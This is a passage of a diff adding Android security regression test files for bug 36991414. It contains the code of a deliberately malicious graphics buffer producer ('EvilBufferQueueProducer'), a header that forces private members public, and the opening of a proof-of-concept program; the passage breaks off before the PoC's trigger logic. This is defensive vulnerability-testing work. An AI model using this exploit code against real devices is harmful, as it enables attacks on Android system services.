+ // Don't send the GraphicBuffer through the callback, and don't send
+ // the slot number, since the consumer shouldn't need it
+ item.mGraphicBuffer.clear();
+ item.mSlot = BufferItem::INVALID_BUFFER_SLOT;
+
+ // Call back without the main BufferQueue lock held, but with the callback
+ // lock held so we can ensure that callbacks occur in order
+ {
+ Mutex::Autolock lock(mCallbackMutex);
+ while (callbackTicket != mCurrentCallbackTicket) {
+ mCallbackCondition.wait(mCallbackMutex);
+ }
+
+ if (frameAvailableListener != NULL) {
+ frameAvailableListener->onFrameAvailable(item);
+ } else if (frameReplacedListener != NULL) {
+ frameReplacedListener->onFrameReplaced(item);
+ }
+
+ ++mCurrentCallbackTicket;
+ mCallbackCondition.broadcast();
+ }
+
+ // Wait without lock held
+ if (mCore->mConnectedApi == NATIVE_WINDOW_API_EGL) {
+ // Waiting here allows for two full buffers to be queued but not a
+ // third. In the event that frames take varying time, this makes a
+ // small trade-off in favor of latency rather than throughput.
+ mLastQueueBufferFence->waitForever("Throttling EGL Production");
+ }
+ mLastQueueBufferFence = fence;
+ mLastQueuedCrop = item.mCrop;
+ mLastQueuedTransform = item.mTransform;
+
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::cancelBuffer(int slot,
+ const sp<Fence>& fence) {
+ ATRACE_CALL();
+ BQ_LOGV("cancelBuffer: slot %d", slot);
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mCore->mIsAbandoned) {
+ BQ_LOGE("cancelBuffer: BufferQueue has been abandoned");
+ return NO_INIT;
+ }
+
+ if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+ BQ_LOGE("cancelBuffer: BufferQueue has no connected producer");
+ return NO_INIT;
+ }
+
+ if (mCore->mSharedBufferMode) {
+ BQ_LOGE("cancelBuffer: cannot cancel a buffer in shared buffer mode");
+ return BAD_VALUE;
+ }
+
+ if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS) {
+ BQ_LOGE("cancelBuffer: slot index %d out of range [0, %d)", slot,
+ BufferQueueDefs::NUM_BUFFER_SLOTS);
+ return BAD_VALUE;
+ } else if (!mSlots[slot].mBufferState.isDequeued()) {
+ BQ_LOGE(
+ "cancelBuffer: slot %d is not owned by the producer "
+ "(state = %s)",
+ slot, mSlots[slot].mBufferState.string());
+ return BAD_VALUE;
+ } else if (fence == NULL) {
+ BQ_LOGE("cancelBuffer: fence is NULL");
+ return BAD_VALUE;
+ }
+
+ mSlots[slot].mBufferState.cancel();
+
+ // After leaving shared buffer mode, the shared buffer will still be around.
+ // Mark it as no longer shared if this operation causes it to be free.
+ if (!mCore->mSharedBufferMode && mSlots[slot].mBufferState.isFree()) {
+ mSlots[slot].mBufferState.mShared = false;
+ }
+
+ // Don't put the shared buffer on the free list.
+ if (!mSlots[slot].mBufferState.isShared()) {
+ mCore->mActiveBuffers.erase(slot);
+ mCore->mFreeBuffers.push_back(slot);
+ }
+
+ mSlots[slot].mFence = fence;
+ mCore->mDequeueCondition.broadcast();
+ VALIDATE_CONSISTENCY();
+
+ return NO_ERROR;
+}
+
+int EvilBufferQueueProducer::query(int what, int* outValue) {
+ ATRACE_CALL();
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (outValue == NULL) {
+ BQ_LOGE("query: outValue was NULL");
+ return BAD_VALUE;
+ }
+
+ if (mCore->mIsAbandoned) {
+ BQ_LOGE("query: BufferQueue has been abandoned");
+ return NO_INIT;
+ }
+
+ int value;
+ switch (what) {
+ case NATIVE_WINDOW_WIDTH:
+ value = static_cast<int32_t>(mCore->mDefaultWidth);
+ break;
+ case NATIVE_WINDOW_HEIGHT:
+ value = static_cast<int32_t>(mCore->mDefaultHeight);
+ break;
+ case NATIVE_WINDOW_FORMAT:
+ value = static_cast<int32_t>(mCore->mDefaultBufferFormat);
+ break;
+ case NATIVE_WINDOW_MIN_UNDEQUEUED_BUFFERS:
+ value = mCore->getMinUndequeuedBufferCountLocked();
+ break;
+ case NATIVE_WINDOW_STICKY_TRANSFORM:
+ value = static_cast<int32_t>(mStickyTransform);
+ break;
+ case NATIVE_WINDOW_CONSUMER_RUNNING_BEHIND:
+ value = (mCore->mQueue.size() > 1);
+ break;
+ case NATIVE_WINDOW_CONSUMER_USAGE_BITS:
+ value = static_cast<int32_t>(mCore->mConsumerUsageBits);
+ break;
+ case NATIVE_WINDOW_DEFAULT_DATASPACE:
+ value = static_cast<int32_t>(mCore->mDefaultBufferDataSpace);
+ break;
+ case NATIVE_WINDOW_BUFFER_AGE:
+ if (mCore->mBufferAge > INT32_MAX) {
+ value = 0;
+ } else {
+ value = static_cast<int32_t>(mCore->mBufferAge);
+ }
+ break;
+ default:
+ return BAD_VALUE;
+ }
+
+ BQ_LOGV("query: %d? %d", what, value);
+ *outValue = value;
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::connect(const sp<IProducerListener>& listener,
+ int api, bool producerControlledByApp,
+ QueueBufferOutput* output) {
+ ATRACE_CALL();
+ Mutex::Autolock lock(mCore->mMutex);
+ mConsumerName = mCore->mConsumerName;
+ BQ_LOGV("connect: api=%d producerControlledByApp=%s", api,
+ producerControlledByApp ? "true" : "false");
+
+ if (mCore->mIsAbandoned) {
+ BQ_LOGE("connect: BufferQueue has been abandoned");
+ return NO_INIT;
+ }
+
+ if (mCore->mConsumerListener == NULL) {
+ BQ_LOGE("connect: BufferQueue has no consumer");
+ return NO_INIT;
+ }
+
+ if (output == NULL) {
+ BQ_LOGE("connect: output was NULL");
+ return BAD_VALUE;
+ }
+
+ if (mCore->mConnectedApi != BufferQueueCore::NO_CONNECTED_API) {
+ BQ_LOGE("connect: already connected (cur=%d req=%d)", mCore->mConnectedApi,
+ api);
+ return BAD_VALUE;
+ }
+
+ int delta = mCore->getMaxBufferCountLocked(
+ mCore->mAsyncMode,
+ mDequeueTimeout < 0 ? mCore->mConsumerControlledByApp &&
+ producerControlledByApp
+ : false,
+ mCore->mMaxBufferCount) -
+ mCore->getMaxBufferCountLocked();
+ if (!mCore->adjustAvailableSlotsLocked(delta)) {
+ BQ_LOGE(
+ "connect: BufferQueue failed to adjust the number of available "
+ "slots. Delta = %d",
+ delta);
+ return BAD_VALUE;
+ }
+
+ int status = NO_ERROR;
+ switch (api) {
+ case NATIVE_WINDOW_API_EGL:
+ case NATIVE_WINDOW_API_CPU:
+ case NATIVE_WINDOW_API_MEDIA:
+ case NATIVE_WINDOW_API_CAMERA:
+ mCore->mConnectedApi = api;
+ output->inflate(mCore->mDefaultWidth, mCore->mDefaultHeight,
+ mCore->mTransformHint,
+ static_cast<uint32_t>(mCore->mQueue.size()),
+ mCore->mFrameCounter + 1);
+
+ // Set up a death notification so that we can disconnect
+ // automatically if the remote producer dies
+ if (listener != NULL &&
+ IInterface::asBinder(listener)->remoteBinder() != NULL) {
+ status = IInterface::asBinder(listener)->linkToDeath(
+ static_cast<IBinder::DeathRecipient*>(this));
+ if (status != NO_ERROR) {
+ BQ_LOGE("connect: linkToDeath failed: %s (%d)", strerror(-status),
+ status);
+ }
+ }
+ mCore->mConnectedProducerListener = listener;
+ break;
+ default:
+ BQ_LOGE("connect: unknown API %d", api);
+ status = BAD_VALUE;
+ break;
+ }
+ mCore->mConnectedPid = IPCThreadState::self()->getCallingPid();
+ mCore->mBufferHasBeenQueued = false;
+ mCore->mDequeueBufferCannotBlock = false;
+ if (mDequeueTimeout < 0) {
+ mCore->mDequeueBufferCannotBlock =
+ mCore->mConsumerControlledByApp && producerControlledByApp;
+ }
+
+ mCore->mAllowAllocation = true;
+ VALIDATE_CONSISTENCY();
+ return status;
+}
+
+status_t EvilBufferQueueProducer::disconnect(int api, DisconnectMode mode) {
+ ATRACE_CALL();
+ BQ_LOGV("disconnect: api %d", api);
+
+ int status = NO_ERROR;
+ sp<IConsumerListener> listener;
+ { // Autolock scope
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mode == DisconnectMode::AllLocal) {
+ if (IPCThreadState::self()->getCallingPid() != mCore->mConnectedPid) {
+ return NO_ERROR;
+ }
+ api = BufferQueueCore::CURRENTLY_CONNECTED_API;
+ }
+
+ mCore->waitWhileAllocatingLocked();
+
+ if (mCore->mIsAbandoned) {
+ // It's not really an error to disconnect after the surface has
+ // been abandoned; it should just be a no-op.
+ return NO_ERROR;
+ }
+
+ if (api == BufferQueueCore::CURRENTLY_CONNECTED_API) {
+ api = mCore->mConnectedApi;
+ // If we're asked to disconnect the currently connected api but
+ // nobody is connected, it's not really an error.
+ if (api == BufferQueueCore::NO_CONNECTED_API) {
+ return NO_ERROR;
+ }
+ }
+
+ switch (api) {
+ case NATIVE_WINDOW_API_EGL:
+ case NATIVE_WINDOW_API_CPU:
+ case NATIVE_WINDOW_API_MEDIA:
+ case NATIVE_WINDOW_API_CAMERA:
+ if (mCore->mConnectedApi == api) {
+ mCore->freeAllBuffersLocked();
+
+ // Remove our death notification callback if we have one
+ if (mCore->mConnectedProducerListener != NULL) {
+ sp<IBinder> token =
+ IInterface::asBinder(mCore->mConnectedProducerListener);
+ // This can fail if we're here because of the death
+ // notification, but we just ignore it
+ token->unlinkToDeath(static_cast<IBinder::DeathRecipient*>(this));
+ }
+ mCore->mSharedBufferSlot = BufferQueueCore::INVALID_BUFFER_SLOT;
+ mCore->mConnectedProducerListener = NULL;
+ mCore->mConnectedApi = BufferQueueCore::NO_CONNECTED_API;
+ mCore->mConnectedPid = -1;
+ mCore->mSidebandStream.clear();
+ mCore->mDequeueCondition.broadcast();
+ listener = mCore->mConsumerListener;
+ } else if (mCore->mConnectedApi != BufferQueueCore::NO_CONNECTED_API) {
+ BQ_LOGE(
+ "disconnect: still connected to another API "
+ "(cur=%d req=%d)",
+ mCore->mConnectedApi, api);
+ status = BAD_VALUE;
+ }
+ break;
+ default:
+ BQ_LOGE("disconnect: unknown API %d", api);
+ status = BAD_VALUE;
+ break;
+ }
+ } // Autolock scope
+
+ // Call back without lock held
+ if (listener != NULL) {
+ listener->onBuffersReleased();
+ }
+
+ return status;
+}
+
+status_t EvilBufferQueueProducer::setSidebandStream(
+ const sp<NativeHandle>& stream) {
+ sp<IConsumerListener> listener;
+ { // Autolock scope
+ Mutex::Autolock _l(mCore->mMutex);
+ mCore->mSidebandStream = stream;
+ listener = mCore->mConsumerListener;
+ } // Autolock scope
+
+ if (listener != NULL) {
+ listener->onSidebandStreamChanged();
+ }
+ return NO_ERROR;
+}
+
+void EvilBufferQueueProducer::allocateBuffers(uint32_t width, uint32_t height,
+ PixelFormat format,
+ uint32_t usage) {
+ ATRACE_CALL();
+ while (true) {
+ size_t newBufferCount = 0;
+ uint32_t allocWidth = 0;
+ uint32_t allocHeight = 0;
+ PixelFormat allocFormat = PIXEL_FORMAT_UNKNOWN;
+ uint32_t allocUsage = 0;
+ { // Autolock scope
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->waitWhileAllocatingLocked();
+
+ if (!mCore->mAllowAllocation) {
+ BQ_LOGE(
+ "allocateBuffers: allocation is not allowed for this "
+ "BufferQueue");
+ return;
+ }
+
+ newBufferCount = mCore->mFreeSlots.size();
+ if (newBufferCount == 0) {
+ return;
+ }
+
+ allocWidth = width > 0 ? width : mCore->mDefaultWidth;
+ allocHeight = height > 0 ? height : mCore->mDefaultHeight;
+ allocFormat = format != 0 ? format : mCore->mDefaultBufferFormat;
+ allocUsage = usage | mCore->mConsumerUsageBits;
+
+ mCore->mIsAllocating = true;
+ } // Autolock scope
+
+ Vector<sp<GraphicBuffer>> buffers;
+ for (size_t i = 0; i < newBufferCount; ++i) {
+ status_t result = NO_ERROR;
+ sp<GraphicBuffer> graphicBuffer(mCore->mAllocator->createGraphicBuffer(
+ allocWidth, allocHeight, allocFormat, allocUsage,
+ {mConsumerName.string(), mConsumerName.size()}, &result));
+ if (result != NO_ERROR) {
+ BQ_LOGE(
+ "allocateBuffers: failed to allocate buffer (%u x %u, format"
+ " %u, usage %u)",
+ width, height, format, usage);
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->mIsAllocating = false;
+ mCore->mIsAllocatingCondition.broadcast();
+ return;
+ }
+ buffers.push_back(graphicBuffer);
+ }
+
+ { // Autolock scope
+ Mutex::Autolock lock(mCore->mMutex);
+ uint32_t checkWidth = width > 0 ? width : mCore->mDefaultWidth;
+ uint32_t checkHeight = height > 0 ? height : mCore->mDefaultHeight;
+ PixelFormat checkFormat =
+ format != 0 ? format : mCore->mDefaultBufferFormat;
+ uint32_t checkUsage = usage | mCore->mConsumerUsageBits;
+ if (checkWidth != allocWidth || checkHeight != allocHeight ||
+ checkFormat != allocFormat || checkUsage != allocUsage) {
+ // Something changed while we released the lock. Retry.
+ BQ_LOGV(
+ "allocateBuffers: size/format/usage changed while allocating. "
+ "Retrying.");
+ mCore->mIsAllocating = false;
+ mCore->mIsAllocatingCondition.broadcast();
+ continue;
+ }
+
+ for (size_t i = 0; i < newBufferCount; ++i) {
+ if (mCore->mFreeSlots.empty()) {
+ BQ_LOGV(
+ "allocateBuffers: a slot was occupied while "
+ "allocating. Dropping allocated buffer.");
+ continue;
+ }
+ auto slot = mCore->mFreeSlots.begin();
+ mCore->clearBufferSlotLocked(*slot); // Clean up the slot first
+ mSlots[*slot].mGraphicBuffer = buffers[i];
+ mSlots[*slot].mFence = Fence::NO_FENCE;
+
+ // freeBufferLocked puts this slot on the free slots list. Since
+ // we then attached a buffer, move the slot to free buffer list.
+ mCore->mFreeBuffers.push_front(*slot);
+
+ BQ_LOGV("allocateBuffers: allocated a new buffer in slot %d", *slot);
+
+ // Make sure the erase is done after all uses of the slot
+ // iterator since it will be invalid after this point.
+ mCore->mFreeSlots.erase(slot);
+ }
+
+ mCore->mIsAllocating = false;
+ mCore->mIsAllocatingCondition.broadcast();
+ VALIDATE_CONSISTENCY();
+ } // Autolock scope
+ }
+}
+
+status_t EvilBufferQueueProducer::allowAllocation(bool allow) {
+ ATRACE_CALL();
+ BQ_LOGV("allowAllocation: %s", allow ? "true" : "false");
+
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->mAllowAllocation = allow;
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::setGenerationNumber(
+ uint32_t generationNumber) {
+ ATRACE_CALL();
+ BQ_LOGV("setGenerationNumber: %u", generationNumber);
+
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->mGenerationNumber = generationNumber;
+ return NO_ERROR;
+}
+
+String8 EvilBufferQueueProducer::getConsumerName() const {
+ ATRACE_CALL();
+ Mutex::Autolock lock(mCore->mMutex);
+ BQ_LOGV("getConsumerName: %s", mConsumerName.string());
+ return mConsumerName;
+}
+
+status_t EvilBufferQueueProducer::setSharedBufferMode(bool sharedBufferMode) {
+ ATRACE_CALL();
+ BQ_LOGV("setSharedBufferMode: %d", sharedBufferMode);
+
+ Mutex::Autolock lock(mCore->mMutex);
+ if (!sharedBufferMode) {
+ mCore->mSharedBufferSlot = BufferQueueCore::INVALID_BUFFER_SLOT;
+ }
+ mCore->mSharedBufferMode = sharedBufferMode;
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::setAutoRefresh(bool autoRefresh) {
+ ATRACE_CALL();
+ BQ_LOGV("setAutoRefresh: %d", autoRefresh);
+
+ Mutex::Autolock lock(mCore->mMutex);
+
+ mCore->mAutoRefresh = autoRefresh;
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::setDequeueTimeout(nsecs_t timeout) {
+ ATRACE_CALL();
+ BQ_LOGV("setDequeueTimeout: %" PRId64, timeout);
+
+ Mutex::Autolock lock(mCore->mMutex);
+ int delta = mCore->getMaxBufferCountLocked(mCore->mAsyncMode, false,
+ mCore->mMaxBufferCount) -
+ mCore->getMaxBufferCountLocked();
+ if (!mCore->adjustAvailableSlotsLocked(delta)) {
+ BQ_LOGE(
+ "setDequeueTimeout: BufferQueue failed to adjust the number of "
+ "available slots. Delta = %d",
+ delta);
+ return BAD_VALUE;
+ }
+
+ mDequeueTimeout = timeout;
+ mCore->mDequeueBufferCannotBlock = false;
+
+ VALIDATE_CONSISTENCY();
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::getLastQueuedBuffer(
+ sp<GraphicBuffer>* outBuffer, sp<Fence>* outFence,
+ float outTransformMatrix[16]) {
+ ATRACE_CALL();
+ BQ_LOGV("getLastQueuedBuffer");
+
+ Mutex::Autolock lock(mCore->mMutex);
+ if (mCore->mLastQueuedSlot == BufferItem::INVALID_BUFFER_SLOT) {
+ *outBuffer = nullptr;
+ *outFence = Fence::NO_FENCE;
+ return NO_ERROR;
+ }
+
+ *outBuffer = mSlots[mCore->mLastQueuedSlot].mGraphicBuffer;
+ *outFence = mLastQueueBufferFence;
+
+ // Currently only SurfaceFlinger internally ever changes
+ // GLConsumer's filtering mode, so we just use 'true' here as
+ // this is slightly specialized for the current client of this API,
+ // which does want filtering.
+ GLConsumer::computeTransformMatrix(
+ outTransformMatrix, mSlots[mCore->mLastQueuedSlot].mGraphicBuffer,
+ mLastQueuedCrop, mLastQueuedTransform, true /* filter */);
+
+ return NO_ERROR;
+}
+
+bool EvilBufferQueueProducer::getFrameTimestamps(
+ uint64_t frameNumber, FrameTimestamps* outTimestamps) const {
+ ATRACE_CALL();
+ BQ_LOGV("getFrameTimestamps, %" PRIu64, frameNumber);
+ sp<IConsumerListener> listener;
+
+ {
+ Mutex::Autolock lock(mCore->mMutex);
+ listener = mCore->mConsumerListener;
+ }
+ if (listener != NULL) {
+ return listener->getFrameTimestamps(frameNumber, outTimestamps);
+ }
+ return false;
+}
+
+void EvilBufferQueueProducer::binderDied(
+ const wp<android::IBinder>& /* who */) {
+ // If we're here, it means that a producer we were connected to died.
+ // We're guaranteed that we are still connected to it because we remove
+ // this callback upon disconnect. It's therefore safe to read mConnectedApi
+ // without synchronization here.
+ int api = mCore->mConnectedApi;
+ disconnect(api);
+}
+
+status_t EvilBufferQueueProducer::getUniqueId(uint64_t* outId) const {
+ BQ_LOGV("getUniqueId");
+
+ *outId = mCore->mUniqueId;
+ return NO_ERROR;
+}
+
+} // namespace android
diff --git a/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.h b/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.h
new file mode 100644
index 0000000..86355ba
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.h
@@ -0,0 +1,248 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+#define private public
+#include <gui/BufferQueueDefs.h>
+#include <gui/IGraphicBufferProducer.h>
+
+namespace android {
+
+class BufferSlot;
+
+class EvilBufferQueueProducer : public BnGraphicBufferProducer,
+ private IBinder::DeathRecipient {
+ public:
+ friend class BufferQueue; // Needed to access binderDied
+
+ EvilBufferQueueProducer(const sp<BufferQueueCore>& core);
+ virtual ~EvilBufferQueueProducer();
+
+ // requestBuffer returns the GraphicBuffer for slot N.
+ //
+ // In normal operation, this is called the first time slot N is returned
+ // by dequeueBuffer. It must be called again if dequeueBuffer returns
+ // flags indicating that previously-returned buffers are no longer valid.
+ virtual status_t requestBuffer(int slot, sp<GraphicBuffer>* buf);
+
+ // see IGraphicsBufferProducer::setMaxDequeuedBufferCount
+ virtual status_t setMaxDequeuedBufferCount(int maxDequeuedBuffers);
+
+ // see IGraphicsBufferProducer::setAsyncMode
+ virtual status_t setAsyncMode(bool async);
+
+ // dequeueBuffer gets the next buffer slot index for the producer to use.
+ // If a buffer slot is available then that slot index is written to the
+ // location pointed to by the buf argument and a status of OK is returned.
+ // If no slot is available then a status of -EBUSY is returned and buf is
+ // unmodified.
+ //
+ // The outFence parameter will be updated to hold the fence associated with
+ // the buffer. The contents of the buffer must not be overwritten until the
+ // fence signals. If the fence is Fence::NO_FENCE, the buffer may be
+ // written immediately.
+ //
+ // The width and height parameters must be no greater than the minimum of
+ // GL_MAX_VIEWPORT_DIMS and GL_MAX_TEXTURE_SIZE (see: glGetIntegerv).
+ // An error due to invalid dimensions might not be reported until
+ // updateTexImage() is called. If width and height are both zero, the
+ // default values specified by setDefaultBufferSize() are used instead.
+ //
+ // If the format is 0, the default format will be used.
+ //
+ // The usage argument specifies gralloc buffer usage flags. The values
+ // are enumerated in gralloc.h, e.g. GRALLOC_USAGE_HW_RENDER. These
+ // will be merged with the usage flags specified by setConsumerUsageBits.
+ //
+ // The return value may be a negative error value or a non-negative
+ // collection of flags. If the flags are set, the return values are
+ // valid, but additional actions must be performed.
+ //
+ // If IGraphicBufferProducer::BUFFER_NEEDS_REALLOCATION is set, the
+ // producer must discard cached GraphicBuffer references for the slot
+ // returned in buf.
+ // If IGraphicBufferProducer::RELEASE_ALL_BUFFERS is set, the producer
+ // must discard cached GraphicBuffer references for all slots.
+ //
+ // In both cases, the producer will need to call requestBuffer to get a
+ // GraphicBuffer handle for the returned slot.
+ virtual status_t dequeueBuffer(int* outSlot, sp<Fence>* outFence,
+ uint32_t width, uint32_t height,
+ PixelFormat format, uint32_t usage);
+
+ // See IGraphicBufferProducer::detachBuffer
+ virtual status_t detachBuffer(int slot);
+
+ // See IGraphicBufferProducer::detachNextBuffer
+ virtual status_t detachNextBuffer(sp<GraphicBuffer>* outBuffer,
+ sp<Fence>* outFence);
+
+ // See IGraphicBufferProducer::attachBuffer
+ virtual status_t attachBuffer(int* outSlot, const sp<GraphicBuffer>& buffer);
+
+ // queueBuffer returns a filled buffer to the BufferQueue.
+ //
+ // Additional data is provided in the QueueBufferInput struct. Notably,
+ // a timestamp must be provided for the buffer. The timestamp is in
+ // nanoseconds, and must be monotonically increasing. Its other semantics
+ // (zero point, etc) are producer-specific and should be documented by the
+ // producer.
+ //
+ // The caller may provide a fence that signals when all rendering
+ // operations have completed. Alternatively, NO_FENCE may be used,
+ // indicating that the buffer is ready immediately.
+ //
+ // Some values are returned in the output struct: the current settings
+ // for default width and height, the current transform hint, and the
+ // number of queued buffers.
+ virtual status_t queueBuffer(int slot, const QueueBufferInput& input,
+ QueueBufferOutput* output);
+
+ // cancelBuffer returns a dequeued buffer to the BufferQueue, but doesn't
+ // queue it for use by the consumer.
+ //
+ // The buffer will not be overwritten until the fence signals. The fence
+ // will usually be the one obtained from dequeueBuffer.
+ virtual status_t cancelBuffer(int slot, const sp<Fence>& fence);
+
+ // Query native window attributes. The "what" values are enumerated in
+ // window.h (e.g. NATIVE_WINDOW_FORMAT).
+ virtual int query(int what, int* outValue);
+
+ // connect attempts to connect a producer API to the BufferQueue. This
+ // must be called before any other IGraphicBufferProducer methods are
+ // called except for getAllocator. A consumer must already be connected.
+ //
+ // This method will fail if connect was previously called on the
+ // BufferQueue and no corresponding disconnect call was made (i.e. if
+ // it's still connected to a producer).
+ //
+ // APIs are enumerated in window.h (e.g. NATIVE_WINDOW_API_CPU).
+ virtual status_t connect(const sp<IProducerListener>& listener, int api,
+ bool producerControlledByApp,
+ QueueBufferOutput* output);
+
+ // See IGraphicBufferProducer::disconnect
+ virtual status_t disconnect(int api,
+ DisconnectMode mode = DisconnectMode::Api);
+
+ // Attaches a sideband buffer stream to the IGraphicBufferProducer.
+ //
+ // A sideband stream is a device-specific mechanism for passing buffers
+ // from the producer to the consumer without using dequeueBuffer/
+ // queueBuffer. If a sideband stream is present, the consumer can choose
+ // whether to acquire buffers from the sideband stream or from the queued
+ // buffers.
+ //
+ // Passing NULL or a different stream handle will detach the previous
+ // handle if any.
+ virtual status_t setSidebandStream(const sp<NativeHandle>& stream);
+
+ // See IGraphicBufferProducer::allocateBuffers
+ virtual void allocateBuffers(uint32_t width, uint32_t height,
+ PixelFormat format, uint32_t usage);
+
+ // See IGraphicBufferProducer::allowAllocation
+ virtual status_t allowAllocation(bool allow);
+
+ // See IGraphicBufferProducer::setGenerationNumber
+ virtual status_t setGenerationNumber(uint32_t generationNumber);
+
+ // See IGraphicBufferProducer::getConsumerName
+ virtual String8 getConsumerName() const override;
+
+ // See IGraphicBufferProducer::setSharedBufferMode
+ virtual status_t setSharedBufferMode(bool sharedBufferMode) override;
+
+ // See IGraphicBufferProducer::setAutoRefresh
+ virtual status_t setAutoRefresh(bool autoRefresh) override;
+
+ // See IGraphicBufferProducer::setDequeueTimeout
+ virtual status_t setDequeueTimeout(nsecs_t timeout) override;
+
+ // See IGraphicBufferProducer::getLastQueuedBuffer
+ virtual status_t getLastQueuedBuffer(sp<GraphicBuffer>* outBuffer,
+ sp<Fence>* outFence,
+ float outTransformMatrix[16]) override;
+
+ // See IGraphicBufferProducer::getFrameTimestamps
+ virtual bool getFrameTimestamps(
+ uint64_t frameNumber, FrameTimestamps* outTimestamps) const override;
+
+ // See IGraphicBufferProducer::getUniqueId
+ virtual status_t getUniqueId(uint64_t* outId) const override;
+
+ private:
+ // This is required by the IBinder::DeathRecipient interface
+ virtual void binderDied(const wp<IBinder>& who);
+
+ // Returns the slot of the next free buffer if one is available or
+ // BufferQueueCore::INVALID_BUFFER_SLOT otherwise
+ int getFreeBufferLocked() const;
+
+ // Returns the next free slot if one is available or
+ // BufferQueueCore::INVALID_BUFFER_SLOT otherwise
+ int getFreeSlotLocked() const;
+
+ // waitForFreeSlotThenRelock finds the oldest slot in the FREE state. It may
+ // block if there are no available slots and we are not in non-blocking
+ // mode (producer and consumer controlled by the application). If it blocks,
+ // it will release mCore->mMutex while blocked so that other operations on
+ // the BufferQueue may succeed.
+ enum class FreeSlotCaller {
+ Dequeue,
+ Attach,
+ };
+ status_t waitForFreeSlotThenRelock(FreeSlotCaller caller, int* found) const;
+
+ sp<BufferQueueCore> mCore;
+
+ // This references mCore->mSlots. Lock mCore->mMutex while accessing.
+ BufferQueueDefs::SlotsType& mSlots;
+
+ // This is a cached copy of the name stored in the BufferQueueCore.
+ // It's updated during connect and dequeueBuffer (which should catch
+ // most updates).
+ String8 mConsumerName;
+
+ uint32_t mStickyTransform;
+
+ // This saves the fence from the last queueBuffer, such that the
+ // next queueBuffer call can throttle buffer production. The prior
+ // queueBuffer's fence is not nessessarily available elsewhere,
+ // since the previous buffer might have already been acquired.
+ sp<Fence> mLastQueueBufferFence;
+
+ Rect mLastQueuedCrop;
+ uint32_t mLastQueuedTransform;
+
+ // Take-a-ticket system for ensuring that onFrame* callbacks are called in
+ // the order that frames are queued. While the BufferQueue lock
+ // (mCore->mMutex) is held, a ticket is retained by the producer. After
+ // dropping the BufferQueue lock, the producer must wait on the condition
+ // variable until the current callback ticket matches its retained ticket.
+ Mutex mCallbackMutex;
+ int mNextCallbackTicket; // Protected by mCore->mMutex
+ int mCurrentCallbackTicket; // Protected by mCallbackMutex
+ Condition mCallbackCondition;
+
+ // Sets how long dequeueBuffer or attachBuffer will block if a buffer or
+ // slot is not yet available.
+ nsecs_t mDequeueTimeout;
+
+}; // class EvilBufferQueueProducer
+
+} // namespace android
diff --git a/hostsidetests/security/securityPatch/Bug-36991414/poc.cpp b/hostsidetests/security/securityPatch/Bug-36991414/poc.cpp
new file mode 100644
index 0000000..8de646e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36991414/poc.cpp
@@ -0,0 +1,115 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define LOG_TAG "GUI"
+
+#include <binder/IServiceManager.h>
+#include <fcntl.h>
+#include <gui/BufferQueue.h>
+#include <jni.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/stagefright/foundation/ADebug.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include "cutils/log.h"
+#include "utils/String8.h"
+
+#include <gui/GLConsumer.h>
+#include <gui/IGraphicBufferProducer.h>
+#include <gui/ISurfaceComposer.h>
+#include <gui/Surface.h>
+#include <gui/SurfaceComposerClient.h>
+
+#include <gui/BufferQueue.h>
+#include <gui/BufferQueueConsumer.h>
+#include <gui/BufferQueueCore.h>
+#include <gui/BufferQueueProducer.h>
+#include <ui/Rect.h>
+#include "BufferQueueProducer.h"
+
+using namespace android;
+
+sp<IGraphicBufferProducer> producer;
+sp<IGraphicBufferConsumer> consumer;
+
+static sp<ANativeWindow> gSurface;
+sp<SurfaceComposerClient> composerClient;
+sp<SurfaceControl> control;
+sp<IBinder> handle;
+sp<ISurfaceComposerClient> mClient;
+sp<IGraphicBufferProducer> gbp;
+
+#if MUTI_THREAD
+void* run(void* ptr) {
+ while (1) {
+ mClient->clearLayerFrameStats(handle);
+ }
+ return NULL;
+}
+#endif
+
+void createBufferQueue(sp<IGraphicBufferProducer>* outProducer,
+ sp<IGraphicBufferConsumer>* outConsumer) {
+ LOG_ALWAYS_FATAL_IF(outProducer == NULL,
+ "BufferQueue: outProducer must not be NULL");
+ LOG_ALWAYS_FATAL_IF(outConsumer == NULL,
+ "BufferQueue: outConsumer must not be NULL");
+
+ sp<BufferQueueCore> core(new BufferQueueCore(NULL));
